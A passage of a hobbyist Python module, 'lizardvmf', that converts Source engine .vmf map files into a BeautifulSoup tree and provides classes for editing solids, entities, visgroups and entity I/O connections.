str(self.blender_to_cordon(obtr[0], obtr[1])['mins'][0])\n\t\tself.boxart['mins'] += ' '\n\t\tself.boxart['mins'] += str(self.blender_to_cordon(obtr[0], obtr[1])['mins'][1])\n\t\tself.boxart['mins'] += ' '\n\t\tself.boxart['mins'] += str(self.blender_to_cordon(obtr[0], obtr[1])['mins'][2])\n\t\tself.boxart['mins'] += ')'\n\n\t\t# maxs\n\t\tself.boxart['maxs'] = ''\n\t\tself.boxart['maxs'] += '('\n\t\tself.boxart['maxs'] += str(self.blender_to_cordon(obtr[0], obtr[1])['maxs'][0])\n\t\tself.boxart['maxs'] += ' '\n\t\tself.boxart['maxs'] += str(self.blender_to_cordon(obtr[0], obtr[1])['maxs'][1])\n\t\tself.boxart['maxs'] += ' '\n\t\tself.boxart['maxs'] += str(self.blender_to_cordon(obtr[0], obtr[1])['maxs'][2])\n\t\tself.boxart['maxs'] += ')'\n\n\n\t# removes the cordon\n\tdef kill(self):\n\t\tself.ctag.decompose()\n\t\treturn True\n\n\n\n\n\n\n\n\n\n\nclass lizardvmf_solid_side:\n\t\"\"\"Side of a solid\"\"\"\n\n\tdef __init__(self, rt, ct):\n\t\t# super(lizardvmf_solid_side, self).__init__()\n\t\t# self.material = arg\n\t\t# (root tag)\n\t\tself.lizard = rt\n\t\t# it's possible to access the bs4 object via this variable (this is a bs4 tag object)\n\t\tself.ctag = ct\n\t\t# since it's a pointer it will work just fine. Same as ctag, but with a different name for consistency\n\t\tself.prms = ct\n\t\t# same as .prms, but it's a dict. Is it settable?? Should be...\n\t\tself.prmsdict = ct.attrs\n\n\n\t# removes the side. Why ??????\n\tdef kill(self):\n\t\tself.ctag.decompose()\n\t\treturn True\n\n\n\t# returns all vertices+, if any\n\t# @property\n\tdef verts(self):\n\t\tall_vp = []\n\t\tfor vp in self.ctag.select('vertices_plus v'):\n\t\t\tstepstring = vp.string.split(' ')\n\t\t\tall_vp.append((stepstring[0], stepstring[1], stepstring[2]))\n\n\t\treturn all_vp\n\n\n\n\n\n\n\n# todo: redundant ?\nclass lizardvmf_cordons:\n\t\"\"\"A collection of cordons, if any\"\"\"\n\n\tdef __init__(self, rt, ct):\n\t\t# super(lizardvmf_solid_side, self).__init__()\n\t\t# self.material = arg\n\t\t# (root tag)\n\t\tself.lizard = rt\n\t\t# it's possible to access the bs4 object via this variable (this is a bs4 tag object)\n\t\tself.ctag = ct\n\t\t# since it's a pointer it will work just fine. Same as ctag, but with a different name for consistency\n\t\tself.prms = ct\n\t\t# same as .prms, but it's a dict. Is it settable?? Should be...\n\t\tself.prmsdict = ct.attrs\n\n\n\n\n\n\n# takes global map root tag and solid tag as an input\nclass lizardvmf_solid:\n\t'Solid (brush) object of the lizard vmf'\n\n\t# -(base taken from entity class)-\n\n\t# takes bs4 tag and root tag as an input\n\n\tlizard = None\n\t# groupid - redundant?\n\t# update: For now - yes. This has to be done via @property\n\t# groupid = None\n\n\t# this stores all the attributes\n\t# yes, it's possible to simply do whatever.prms['whatever'] and whatever.prms['whatever'] = something\n\t# just like regular bs4 tag\n\t# todo: Solid doesn't has them (it only has id)\n\tprms = None\n\n\t# bs4 also provides us with the attribute dictionary. Make this available with distinctive name\n\t# todo: Solid doesn't has them (it only has id)\n\tprmsdict = None\n\n\t# important todo: simply create a variable with editor on init?\n\t# so that it's possible to access its params as usual...\n\n\t# rt - root tag (whole map)\n\t# ct - current tag\n\tdef __init__(self, rt, ct):\n\t\t# (root tag)\n\t\tself.lizard = rt\n\t\t# it's possible to access the bs4 object via this variable (this is a bs4 tag object)\n\t\tself.ctag = ct\n\t\t# since it's a pointer it will work just fine. Same as ctag, but with a different name for consistency\n\t\tself.prms = ct\n\t\t# same as .prms, but it's a dict. Is it settable?? Should be...\n\t\tself.prmsdict = ct.attrs\n\t\t# self.groupid = ''\n\t\t# this has to be pre-declared\n\t\tself.visgroup = ''\n\t\tself.group = None\n\t\t# self.visgroupid = ''\n\t\t# self.visgroupshown = ''\n\n\t\n\t# I actually like this variant more than @property fuckery\n\n\tdef prmquery(self, k, v):\n\t\t# self.ctag[k] = v\n\t\t\n\t\t# if both key and value are present - set it and return true as a confirmation\n\t\tif k != None and v != None:\n\t\t\tself.ctag[k] = v\n\t\t\treturn True\n\n\t\t# if key is none and val is specified - return key with the following value\n\t\tif k == None and v != None:\n\t\t\treturn [ke for ke, va in self.prmsdict.items() if va == v]\n\n\n\n\t# todo: this still could be a function. Just make the function return a value based on a query...\n\t# update: todo: make this a function too, since keyvalues are functions as well...\n\t# if no query is passed - return group name and id\n\t# if set visgroup - return id and name\n\t@property\n\tdef visgroup(self):\n\t\t# print('Getting value...')\n\t\ttry:\n\t\t\t# todo: don't use try, check if it has visgroupid or not via attribute check\n\t\t\tvgroupid = self.ctag.select('editor')[0]['visgroupid']\n\t\t\tparrot = {\n\t\t\t\t'id': int(vgroupid),\n\t\t\t\t'name': self.lizard.select('visgroup[visgroupid=\"' + vgroupid + '\"]')[0]['name']\n\t\t\t}\n\t\texcept:\n\t\t\t# todo: return False !!!!!!!!!!!!!\n\t\t\t# important todo: make those external functions....\n\t\t\tparrot = {'id':'','name':''}\n\t\treturn parrot\n\n\n\t@visgroup.setter\n\tdef visgroup(self, query):\n\t\t# -(copied from entity class)-\n\n\t\t# todo: what if the name of the group is a number too ?\n\t\tif len(self.lizard.select('visgroup[visgroupid=\"' + str(query) + '\"]')) > 0 or len(self.lizard.select('visgroup[name=\"' + str(query) + '\"]')):\n\t\t\tif isinstance(query, int):\n\t\t\t\t# qselector = self.lizard.select('visgroup[visgroupid=\"' + query + '\"]')\n\t\t\t\tself.ctag.select('editor')[0]['visgroupid'] = str(query)\n\t\t\telse:\n\t\t\t\t# else - assume that it's a string...\n\t\t\t\tqselector = self.lizard.select('visgroup[name=\"' + query + '\"]')\n\t\t\t\tself.ctag.select('editor')[0]['visgroupid'] = qselector[0]['visgroupid']\n\n\n\t# simple groups (id groups n stuff)\n\n\t# the @ parametrical shit is kinda obsolete\n\n\t# @property\n\tdef group_z(self):\n\t\t\"\"\" If this entity is in a group - returns group id \"\"\"\n\t\t# print('Getting value...')\n\t\ttry:\n\t\t\t# todo: don't use try, check if it has visgroupid or not via attribute check\n\t\t\tvgroupid = self.ctag.select('editor')[0]['groupid']\n\t\texcept:\n\t\t\tvgroupid = None\n\t\treturn vgroupid\n\n\n\t# @group.setter\n\tdef group_z(self, grpid :int):\n\t\t\"\"\" Takes either string or an integer as an input, it has \"\"\"\n\t\t# -(partially copied from entity class)-\n\n\t\t# check if we can even do anything\n\t\t# todo: regexp???\n\t\ttry:\n\t\t\tgroupid_int = int(grpid)\n\t\texcept:\n\t\t\treturn False\n\n\t\t# if this group exists...\n\t\t# todo: check if id exceeds max int ??\n\t\tif len(self.lizard.select('map world group[id=\"' + str(query) + '\"]')) > 0:\n\t\t\t# todo: a solid/entity could have no editor\n\t\t\t# create if neccessary ? or skip ?\n\t\t\tself.ctag.select('editor')[0]['groupid'] = str(query)\n\n\n\t# todo: why use properties ?\n\t# todo: trim stuff, just in case ?\n\t# if nothing given - returns the group id if any\n\t# if anything was specified - it'll try to find a group with the given id and assign the entity to it\n\tdef group(self, grpid=None):\n\t\t# if groupid is specified then try to set\n\t\tif grpid != None and grpid != False and grpid != True:\n\t\t\t# if something was pecified - it means that we need to try to set shit\n\n\t\t\t# check if we can even do anything\n\t\t\t# todo: this is overkill ????\n\t\t\ttry:\n\t\t\t\tgroupid_int = int(grpid)\n\t\t\texcept:\n\t\t\t\treturn False\n\n\t\t\t# if this group exists...\n\t\t\t# todo: check if id exceeds max int ??\n\t\t\tif len(self.lizard.select('map world group[id=\"' + str(query) + '\"]')) > 0:\n\t\t\t\t# todo: a solid/entity could have no editor\n\t\t\t\t# create if neccessary ? or skip ?\n\t\t\t\tself.ctag.select('editor')[0]['groupid'] = str(query)\n\t\telse:\n\t\t\t# if None - means we don't need to set anything and just return group id if any\n\n\t\t\ttry:\n\t\t\t\t# todo: don't use try, check if it has visgroupid or not via attribute check\n\t\t\t\tvgroupid = self.ctag.select('editor')[0]['groupid']\n\t\t\texcept:\n\t\t\t\tvgroupid = None\n\t\t\treturn vgroupid\n\n\n\n\t# removes the solid\n\tdef kill(self):\n\t\tself.ctag.decompose()\n\t\treturn True\n\n\n\t# removes solid from entity and moves it to world\n\tdef toworld(self):\n\t\tlizard = self.lizard\n\t\t# csolid = self.ctag\n\n\t\tsolid_extracted = self.ctag.extract()\n\t\tlizard.select('map world')[0].append(solid_extracted)\n\n\n\t# moves solid to an entity if it's not a displacement\n\t# either takes a lizard entity or entity id as an input\n\tdef toent(self, tgt_ent):\n\t\tlizard = self.lizard\n\n\t\t# cannot be a displacement...\n\t\tfor sd in self.ctag.select('side'):\n\t\t\t# todo: is it possible to do sd.dispinfo ?\n\t\t\tif len(sd.select('dispinfo')) > 0:\n\t\t\t\treturn False\n\n\t\t# todo: check if current tag has id ??\n\n\t\t# by entity class\n\t\tif isinstance(tgt_ent, lizardvmf_entity):\n\t\t\t# tgt_ent.add_solid(self.ctag['id'])\n\t\t\textracted_solid = self.ctag.extract()\n\t\t\tlizard.select('map entity[id=\"' + str(self.ctag['id']) + '\"]')[0].append(extracted_solid)\n\t\t\treturn True\n\n\t\t# by entity id\n\t\tif isinstance(tgt_ent, int):\n\t\t\t# tgt_ent.add_solid(self.ctag['id'])\n\t\t\textracted_solid = self.ctag.extract()\n\t\t\tlizard.select('map entity[id=\"' + str(tgt_ent) + '\"]')[0].append(extracted_solid)\n\t\t\treturn True\n\n\t\t# important todo: There should be a centralized system of returning success or whatever??\n\t\t# todo: should it return the solid? Would be pretty useful when id was passed...\n\t\t\n\n\t# returns all the sides of a solid\n\tdef sides(self):\n\t\tcolsides = []\n\t\tfor sol_side in self.ct.select('side'):\n\t\t\tcolsides.append(lizardvmf_solid_side(self.lizard, self.ct))\n\t\treturn colsides\n\n\n\t# returns an entity this solid is assigned to, if any...\n\tdef entity(self):\n\t\tselector = self.ctag.parent.name\n\t\tif selector == 'entity':\n\t\t\treturn lizardvmf_entity(self.lizard, self.ctag.parent)\n\t\telse:\n\t\t\treturn False\n\n\n\n\n# a collection of connections\n# todo: make them all attributes ????\n# todo: make this also accept a dict to overwrite current shit\n# todo: create reverse searcher for connection target\nclass lizardvmf_connection:\n\t\"\"\"Connection\"\"\"\n\n\tdef __init__(self, rt, ct):\n\t\t# super(lizardvmf_solid_side, self).__init__()\n\t\t# self.material = arg\n\t\t# (root tag)\n\t\tself.lizard = rt\n\t\t# it's possible to access the bs4 object via this variable (this is a bs4 tag object)\n\t\tself.ctag = ct\n\t\t# since it's a pointer it will work just fine. Same as ctag, but with a different name for consistency\n\t\tself.prms = ct\n\t\t# same as .prms, but it's a dict. Is it settable?? Should be...\n\t\tself.prmsdict = ct.attrs\n\n\n\t\t# set defaults\n\t\t# self.tgt_ents = ''\n\t\t# self.action = ''\n\t\t# self.params = ''\n\t\t# self.delay = ''\n\t\t# self.refire_limit = ''\n\n\n\t# todo: check if there are enough commas\n\t@property\n\tdef tgt_ents(self):\n\t\treturn self.ctag.string.split(',')[0]\n\n\t@tgt_ents.setter\n\tdef tgt_ents(self, newtgt):\n\t\tval_set = self.ctag.string.split(',')\n\t\tval_set[0] = str(newtgt)\n\t\tself.ctag.string = ','.join(val_set)\n\t\t# todo: return dict instead\n\t\treturn ','.join(val_set)\n\n\n\t@property\n\tdef action(self):\n\t\treturn self.ctag.string.split(',')[1]\n\n\t@action.setter\n\tdef action(self, newact):\n\t\tval_set = self.ctag.string.split(',')\n\t\tval_set[1] = str(newact)\n\t\tself.ctag.string = ','.join(val_set)\n\t\t# todo: return dict instead\n\t\treturn ','.join(val_set)\n\n\n\t@property\n\tdef params(self):\n\t\treturn self.ctag.string.split(',')[2]\n\n\t@params.setter\n\tdef params(self, newprm):\n\t\tval_set = self.ctag.string.split(',')\n\t\tval_set[2] = str(newprm)\n\t\tself.ctag.string = ','.join(val_set)\n\t\t# todo: return dict instead\n\t\treturn ','.join(val_set)\n\n\t\n\t@property\n\tdef delay(self):\n\t\ttry:\n\t\t\tproper = float(self.ctag.string.split(',')[3])\n\t\texcept:\n\t\t\tproper = str(self.ctag.string.split(',')[3])\n\n\t\treturn proper\n\n\t@delay.setter\n\tdef delay(self, newdl):\n\t\tval_set = self.ctag.string.split(',')\n\t\tval_set[3] = str(newdl)\n\t\tself.ctag.string = ','.join(val_set)\n\t\t# todo: return dict instead\n\t\treturn ','.join(val_set)\n\n\n\t@property\n\tdef refire_limit(self):\n\t\ttry:\n\t\t\tproper = float(self.ctag.string.split(',')[4])\n\t\texcept:\n\t\t\tproper = str(self.ctag.string.split(',')[4])\n\t\t\n\t\treturn proper\n\n\t@refire_limit.setter\n\tdef refire_limit(self, newrefire):\n\t\tval_set = self.ctag.string.split(',')\n\t\tval_set[4] = str(newrefire)\n\t\tself.ctag.string = ','.join(val_set)\n\t\t# todo: return dict instead\n\t\treturn ','.join(val_set)\n\n\n\t@property\n\tdef output_name(self):\n\t\treturn self.ctag.name\n\n\t@output_name.setter\n\tdef output_name(self, newtgname):\n\t\tif newtgname != None:\n\t\t\tself.ctag.name = str(newtgname)\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\n\t# removes the connection\n\tdef kill(self):\n\t\tself.ctag.decompose()\n\t\treturn True\n\n\n\n\n\n\n\n\n\n# a collection of connections\nclass lizardvmf_connections:\n\t\"\"\"connection collection\"\"\"\n\n\tdef __init__(self, rt, ct):\n\t\t# super(lizardvmf_solid_side, self).__init__()\n\t\t# self.material = arg\n\t\t# (root tag)\n\t\tself.lizard = rt\n\t\t# it's possible to access the bs4 object via this variable (this is a bs4 tag object)\n\t\tself.ctag = ct\n\t\t# since it's a pointer it will work just fine. Same as ctag, but with a different name for consistency\n\t\tself.prms = ct\n\t\t# same as .prms, but it's a dict. Is it settable?? Should be...\n\t\tself.prmsdict = ct.attrs\n\n\n\t# Why property ???\n\t@property\n\tdef items(self):\n\t\tallchilds = []\n\t\tfor cnt in self.ctag.children:\n\t\t\tallchilds.append(lizardvmf_connection(self.lizard, cnt))\n\n\t\treturn allchilds\n\n\t# add a connection\n\tdef add(self, ctype=None, actiondict=None):\n\t\t\"\"\"\n\t\tExpects following params either in order or named:\n\n\t\tctype - input type (My output named), like \"OnPressed\"\n\n\t\tactiondict - a dictionary of the actions where:\n\t\t\ttgt_ents - Target entities named\n\t\t\taction - Via this input\n\t\t\tparams - With a parameter override of\n\t\t\tdelay - Fire after delay in seconds of (accepts ints and floats)\n\t\t\trefire_limit - Limit to this many fires (-1 = infinite) (accepts ints and floats)\n\n\t\t\"\"\"\n\n\n\t\tif ctype != None and actiondict != None:\n\t\t\tlizard = self.lizard\n\t\t\t# todo: for now - silently delete spaces\n\t\t\tnewc = lizard.new_tag(str(ctype).replace(' ', ''))\n\n\t\t\t# todo: is it possible to use += with .string ?\n\t\t\tgm_construct = ''\n\n\t\t\tgm_construct += actiondict['tgt_ents']\n\t\t\tgm_construct += ','\n\t\t\tgm_construct += actiondict['action']\n\t\t\tgm_construct += ','\n\t\t\tgm_construct += actiondict['params']\n\t\t\tgm_construct += ','\n\t\t\tgm_construct += str(actiondict['delay'])\n\t\t\tgm_construct += ','\n\t\t\tgm_construct += str(actiondict['refire_limit'])\n\n\t\t\tnewc.string = gm_construct\n\n\t\t\tself.ctag.append(newc)\n\n\t\t\treturn lizardvmf_connection(lizard, newc)\n\n\n\n\n\n# todo: don't forget that entity could have a solid\nclass lizardvmf_entity:\n\t'Entity object of the lizard vmf'\n\t# A little easier acces of k:v\n\t# An ability to distinguish editor k:v and base k:v\n\t# takes bs4 tag and root tag as an input\n\n\tlizard = None\n\t# redundant?\n\t# update: For now - yes. This has to be done via @property\n\t# groupid = None\n\t# this stores all the attributes\n\t# yes, it's possible to simply do whatever.prms['whatever'] and whatever.prms['whatever'] = something\n\t# just like regular bs4 tag\n\tprms = None\n\n\t# bs4 also provides us with the attribute dictionary. Make this available with distinctive name\n\tprmsdict = None\n\n\t# important todo: simply create a variable with editor on init?\n\t# so that it's possible to access its params as usual...\n\n\t# rt - root tag (whole map)\n\t# ct - current tag\n\tdef __init__(self, rt, ct):\n\t\t# (root tag)\n\t\tself.lizard = rt\n\t\t# it's possible to access the bs4 object via this variable (this is a bs4 tag object)\n\t\tself.ctag = ct\n\t\t# since it's a pointer it will work just fine. Same as ctag, but with a different name for consistency\n\t\tself.prms = ct\n\t\t# same as .prms, but it's a dict. Is it settable?? Should be...\n\t\tself.prmsdict = ct.attrs\n\t\t# self.groupid = ''\n\t\t# this has to be pre-declared\n\t\tself.visgroup = ''\n\t\t# self.visgroupid = ''\n\t\t# self.visgroupshown = ''\n\n\t\n\t# I actually like this variant more than @property fuckery\n\n\tdef prmquery(self, k, v):\n\t\t# self.ctag[k] = v\n\t\t\n\t\t# if both key and value are present - set it and return true as a confirmation\n\t\tif k != None and v != None:\n\t\t\tself.ctag[k] = v\n\t\t\treturn True\n\n\t\t# if key is none and val is specified - return key with the following value\n\t\tif k == None and v != None:\n\t\t\treturn [ke for ke, va in self.prmsdict.items() if va == v]\n\n\n\n\t\"\"\"\n\tdef editor_z(self, key, value):\n\t\tself.ctag.select('editor')[0][key] = value\n\n\tdef tovisgroup(self, vgname):\n\t\tlizard = self.lizard\n\t\tfound_id = lizard.select('visgroup[name=\"' + vgname + '\"]')[0]['id']\n\t\"\"\"\n\n\n\t# todo: this still could be a function. Just make the function return a value based on a query...\n\t# update: todo: make this a function too?? since keyvalues are functions as well...\n\t# if no query is passed - return group name and id\n\t# if set visgroup - return id and name\n\t# important todo: Return a visgroup object...\n\t@property\n\tdef visgroup(self):\n\t\t# print('Getting value...')\n\t\ttry:\n\t\t\t# todo: don't use try, check if it has visgroupid or not via attribute check\n\t\t\tvgroupid = self.ctag.select('editor')[0]['visgroupid']\n\t\t\tparrot = {\n\t\t\t\t'id': int(vgroupid),\n\t\t\t\t'name': self.lizard.select('visgroup[visgroupid=\"' + vgroupid + '\"]')[0]['name']\n\t\t\t}\n\t\texcept:\n\t\t\tparrot = {'id':'','name':''}\n\t\treturn parrot\n\n\n\n\t@visgroup.setter\n\tdef visgroup(self, query):\n\t\t\"\"\"\n\t\tEither takes int or a string\n\t\tIf string - look for visgroup with the name\n\t\tIf int - look for visgroup with id\n\t\t\"\"\"\n\n\t\t# print('Setting value...')\n\t\t\"\"\"\n\t\tif value < -273.15:\n\t\t\traise ValueError(\"Temperature below -273 is not possible\")\n\t\tself._temperature = value\n\t\t\"\"\"\n\n\t\t# first - decide if we want to search by id or name\n\t\t# main task is to get a valid visgroupid and then add it to the editor of the current tag\n\t\t# logic is simple: If no valid visgroup is found - just don't do anything because fuck you\n\t\t\"\"\"\n\t\tif isinstance(query, int):\n\t\t\tqselector = self.lizard.select('visgroup[visgroupid=\"' + query + '\"]')\n\t\t\tqtype = 'visgroupid'\n\t\telse:\n\t\t\t# else - assume that it's a string...\n\t\t\tqselector = self.lizard.select('visgroup[name=\"' + query + '\"]')\n\t\t\tqtype = 'name'\n\n\t\t# only do shit if query has returned anything\n\t\tif len(qselector) > 0:\n\t\t\tpass\n\t\t\"\"\"\n\n\t\t# todo: what if the name of the group is a number too ?\n\t\tif len(self.lizard.select('visgroup[visgroupid=\"' + str(query) + '\"]')) > 0 or len(self.lizard.select('visgroup[name=\"' + str(query) + '\"]')):\n\t\t\tif isinstance(query, int):\n\t\t\t\t# qselector = self.lizard.select('visgroup[visgroupid=\"' + query + '\"]')\n\t\t\t\tself.ctag.select('editor')[0]['visgroupid'] = str(query)\n\t\t\telse:\n\t\t\t\t# else - assume that it's a string...\n\t\t\t\tqselector = self.lizard.select('visgroup[name=\"' + query + '\"]')\n\t\t\t\tself.ctag.select('editor')[0]['visgroupid'] = qselector[0]['visgroupid']\n\n\n\t# todo: why use properties ?\n\t# if nothing given - returns the group id if any\n\t# if anything was specified - it'll try to find a group with the given id and assign the entity to it\n\tdef group(self, grpid=None):\n\t\t# if groupid is specified then try to set\n\t\tif grpid != None:\n\t\t\t# if something was pecified - it mans that we need to try to set shit\n\n\t\t\t# check if we can even do anything\n\t\t\ttry:\n\t\t\t\tgroupid_int = int(grpid)\n\t\t\texcept:\n\t\t\t\treturn False\n\n\t\t\t# if this group exists...\n\t\t\t# todo: check if id exceeds max int ??\n\t\t\tif len(self.lizard.select('map world group[id=\"' + str(query) + '\"]')) > 0:\n\t\t\t\t# todo: a solid/entity could have no editor\n\t\t\t\t# create if neccessary ? or skip ?\n\t\t\t\tself.ctag.select('editor')[0]['groupid'] = str(query)\n\t\telse:\n\t\t\t# if None - means we don't need to set anything and just return group id if any\n\n\t\t\ttry:\n\t\t\t\t# todo: don't use try, check if it has visgroupid or not via attribute check\n\t\t\t\tvgroupid = self.ctag.select('editor')[0]['groupid']\n\t\t\texcept:\n\t\t\t\tvgroupid = None\n\t\t\treturn vgroupid\n\n\n\n\t# removes the entity\n\tdef kill(self):\n\t\tself.ctag.decompose()\n\t\treturn True\n\n\n\t# adds solid to the entity if it's not a displacement\n\t# takes either solid id or solid class as an input\n\t# todo: what if solid has no id ? add one ?\n\tdef add_solid(self, tgt_solid):\n\t\t# -(base copied from lizard solid toent)-\n\n\t\tlizard = self.lizard\n\n\t\textracted_solid = None\n\n\t\t# by solid class\n\t\tif isinstance(tgt_solid, lizardvmf_solid):\n\t\t\textracted_solid = lizard.select('map solid[id=\"' + tgt_solid.prms['id'] + '\"]')[0].extract()\n\n\t\t# by solid id\n\t\tif isinstance(tgt_solid, int):\n\t\t\t# tgt_solid.add_solid(self.ctag['id'])\n\t\t\textracted_solid = lizard.select('map solid[id=\"' + str(tgt_solid) + '\"]')[0].extract()\n\t\t\t\n\t\t# check if we got any solids\n\t\tif extracted_solid == None:\n\t\t\treturn False\n\n\t\t# cannot be a displacement...\n\t\tfor sd in self.ctag.select('side'):\n\t\t\t# todo: is it possible to do sd.dispinfo ?\n\t\t\tif len(sd.select('dispinfo')) > 0:\n\t\t\t\treturn False\n\n\t\t# if passed checks - append\n\t\tself.ctag.append(extracted_solid)\n\t\treturn True\n\n\n\t# returns a collection of solids of the current entity\n\t# todo: make a property again ?\n\t# @property\n\tdef solids(self):\n\t\tsolid_collection = []\n\t\tfor sl in self.ctag.select('solid'):\n\t\t\tsolid_collection.append(lizardvmf_solid(self.lizard, sl))\n\t\treturn solid_collection\n\n\n\t# return connections, if any\n\t# returns False if no connections for this entity\n\t# todo: return empty array ?\n\t# important todo: create if none? Not too big of a deal anyway...\n\t@property\n\tdef connections(self):\n\t\tif len(self.ctag.select('connections')) > 0:\n\t\t\treturn(lizardvmf_connections(self.lizard, self.ctag.select('connections')[0]))\n\t\telse:\n\t\t\treturn False\n\n\t# if passed true - adds connection param\n\t# if passed false - kills everything\n\t# todo: \"kills everything\" should also be a function of the connections class\n\t@connections.setter\n\tdef connections(self, yesno):\n\t\tif yesno == True:\n\t\t\tmk_connections = self.lizard.new_tag('connections')\n\t\t\tself.ctag.append(mk_connections)\n\n\t\tif yesno == False:\n\t\t\t# important todo: finally use .find, it returns none if nothing was found\n\t\t\tget_connections = self.ctag.select('connections')\n\t\t\tif len(get_connections) > 0:\n\t\t\t\tget_connections[0].decompose()\n\n\n\n\n\n\n\n\n\n\n\n\n\n# you can add (and store) variables to class with internal functions via self.whatever\n# you can also have this name pre-defined and then overwrite it.\n# All imports should happen in init. It will be reusable in all the other functions.\n# todo: make all spawners round shit if neccessary and basically do some fixups\n# todo: pyvmf-like spawner: .Child('whatever', {}) n shit\n# todo: int's kinda possible to specify data type like int: whatever\n\n# important todo: apparently, solid or entity could belong to mulptiple visgroups\nclass lizardvmf:\n\t'Simple, but flexible vmf parser, read more at https://mrkleiner.github.io/source_tricks/?lt=b50a2cad'\n\t# anything that is specified becomes defaults. Useful\n\t# Create a string at the very top of the class to make it a documentation\n\t# variables inside functions HAVE NO CONNECTION to the class variables no matter what\n\t# to access/write stored variables use self.whatever\n\n\t# all the additional functionality is quite optional\n\t# main purpose of this class is the init function which parses the shit\n\t# and tovmf function which converts it back to vmf string\n\n\n\n\t#\n\t# Defaults\n\t#\n\n\t# The beautiful soup object. None by default\n\t# This is a refined vmf xml bs4 object for manipulations and modifications\n\tlizard = None\n\n\t# The result of reconstructed vmf, None by default\n\t# Gotta be careful since this could give outdated results\n\t# exists because what if you'd need to access this multiple times ?\n\t# Let this be a little secret feature\n\treadyvmfstr = None\n\n\n\n\n\t#\n\t# Functionality\n\t#\n\n\n\n\t# Supposedly, the parse should happen when the class is being created...\n\t# important todo: with all respect, this has to be an external function...\n\t# as well as reconstructor\n\tdef __init__(self, pootis):\n\t\tfrom bs4 import BeautifulSoup, Tag, NavigableString\n\t\timport io\n\t\timport base64\n\t\t# from .parser import vmfparser\n\t\t# from .reconstructor import xmf_reconstructor\n\n\t\t# confirmed to work with\n\t\t# Half Life 2 and Episodes\n\n\t\t# kind of confirmed to work with\n\t\t# Gmod\n\t\t# CS GO\n\t\t# TF 2\n\t\t# CS Source\n\t\t# Portal, Portal 2\n\t\t# Left 4 Dead, l4d2\n\t\t# DOD\n\n\t\t# important todo: it appears that this class has a serious weakness:\n\t\t# creating a map from scratch is fucking hard\n\t\t# for now just use the base from gmod\n\t\t# pro tip: Fuck notepad++ b64 encoder...\n\t\tnewdefault = \"\"\"\n\t\t\tdmVyc2lvbmluZm8KewoJImVkaXRvcnZlcnNpb24iICI0MDAiCgkibWFwdmVyc2lvbiIgIjAiCgkiZm9ybWF0dmVyc2l\n\t\t\tvbiIgIjEwMCIKCSJwcmVmYWIiICIwIgp9CnZpZXdzZXR0aW5ncwp7CgkiYlNuYXBUb0dyaWQiICIxIgoJImJTaG93R3\n\t\t\tJpZCIgIjEiCgkiYlNob3dMb2dpY2FsR3JpZCIgIjAiCgkibkdyaWRTcGFjaW5nIiAiNjQiCgkiYlNob3czREdyaWQiI\n\t\t\tCIwIgp9CndvcmxkCnsKCSJpZCIgIjEiCgkibWFwdmVyc2lvbiIgIjEiCgkiY2xhc3NuYW1lIiAid29ybGRzcGF3biIK\n\t\t\tCSJza3luYW1lIiAic2t5X2RheTAxXzAxIgoJIm1heHByb3BzY3JlZW53aWR0aCIgIi0xIgoJImRldGFpbHZic3AiICJ\n\t\t\tkZXRhaWwudmJzcCIKCSJkZXRhaWxtYXRlcmlhbCIgImRldGFpbC9kZXRhaWxzcHJpdGVzIgp9CmNhbWVyYXMKewoJIm\n\t\t\tFjdGl2ZWNhbWVyYSIgIi0xIgp9CmNvcmRvbnMKewoJImFjdGl2ZSIgIjAiCn0K\n\t\t\"\"\"\n\n\t\t# pass True to the class instead of vmf to create a new vmf\n\t\tif pootis == True:\n\t\t\tinpstr = io.StringIO(base64.b64decode(newdefault.replace('\\n', '').replace(' ', '').encode('utf-8')).decode('utf-8'))\n\t\telse:\n\t\t\t# Since we're not dealing with files anymore (at least for now) - we cannot just do .readlines()\n\t\t\t# gotta use io module\n\t\t\tinpstr = io.StringIO(pootis)\n\n\t\t# so that we have access to .readlines() again\n\t\tmaplines = inpstr.readlines()\n\n\t\t# print(maplines)\n\n\t\t# we no longer create a file, we store processed raw vmf in a variable\n\t\t# this stores super raw unrefined xml\n\t\trawvmf = ''\n\n\t\t# open xml root\n\t\trawvmf += ('<map>' + '\\n')\n\n\t\tfor mpindex, mapline in enumerate(maplines):\n\t\t\t# try, because invalid index appears when we reach the very last line of the string\n\t\t\ttry:\n\t\t\t\tif '{\\n' in maplines[mpindex + 1]:\n\t\t\t\t\trawvmf += (mapline.replace(maplines[mpindex].strip(), '').replace('\\n', '') + '<item type=\"' + maplines[mpindex].strip() + '\">' + '\\n')\n\t\t\t\t\tmaplines[mpindex] = ''\n\t\t\t\t\t# print(maplines[mpindex])\n\t\t\texcept:\n\t\t\t\tpass\n\n\t\t\tif '}\\n' in mapline:\n\t\t\t\trawvmf += (mapline.replace('}\\n', '') + '</item>' + '\\n')\n\n\n\t\t\tif not '}\\n' in mapline and not '{\\n' in mapline:\n\t\t\t\trawvmf += (maplines[mpindex])\n\n\t\trawvmf += ('</map>')\n\n\n\n\t\t#\n\t\t# refinery\n\t\t#\n\n\t\t# This will be a bs4 xml object\n\t\t# It will be modified (refined)\n\t\tlizard = BeautifulSoup(rawvmf, 'html.parser', multi_valued_attributes=None)\n\n\t\t# print(lizard.select('map item[type=\"entity\"]')[13].next_element)\n\t\t# print(lizard.select('map item[type=\"world\"]')[0].next_element)\n\n\n\n\t\t# rename tags to their corresponding namez\n\t\t# todo: name them the proper way right away ?\n\t\tfor etname in lizard.select('map item'):\n\t\t\tetname.name = etname['type']\n\t\t\tdel etname['type']\n\n\n\n\n\t\t# no quickhide support yet\n\t\t# todo: hide afterwards by entity id ??\n\t\tfor sas in lizard.select('map hidden'):\n\t\t\tsas.unwrap()\n\t\ttry:\n\t\t\tlizard.select('map quickhide')[0].decompose()\n\t\texcept:\n\t\t\tpass\n\n\n\t\t# format version info\n\t\t\"\"\"\n\t\tvsinfo = lizard.select('map item[type=\"versioninfo\"]')[0]\n\t\tfor ses in vsinfo.next_element.strip().split('\\n'):\n\t\t\tprint(ses.strip())\n\t\t\tvsinfo[ses.strip().split('\" \"')[0].replace('\"', '')] = ses.strip().split('\" \"')[1].replace('\"', '')\n\t\tvsinfo.next_element.extract()\n\t\t# print(dir(vsinfo.next_element))\n\t\t# print(vsinfo.contents[0].string)\n\t\tprint(vsinfo)\n\t\t\"\"\"\n\n\n\t\t# format visgroups\n\t\tvisgroups = lizard.select('map visgroup')\n\n\t\tfor vgr in visgroups:\n\t\t\tfor ses in vgr.next_element.strip().split('\\n'):\n\t\t\t\tprint(ses.strip())\n\t\t\t\tvgr[ses.strip().split('\" \"')[0].replace('\"', '')] = 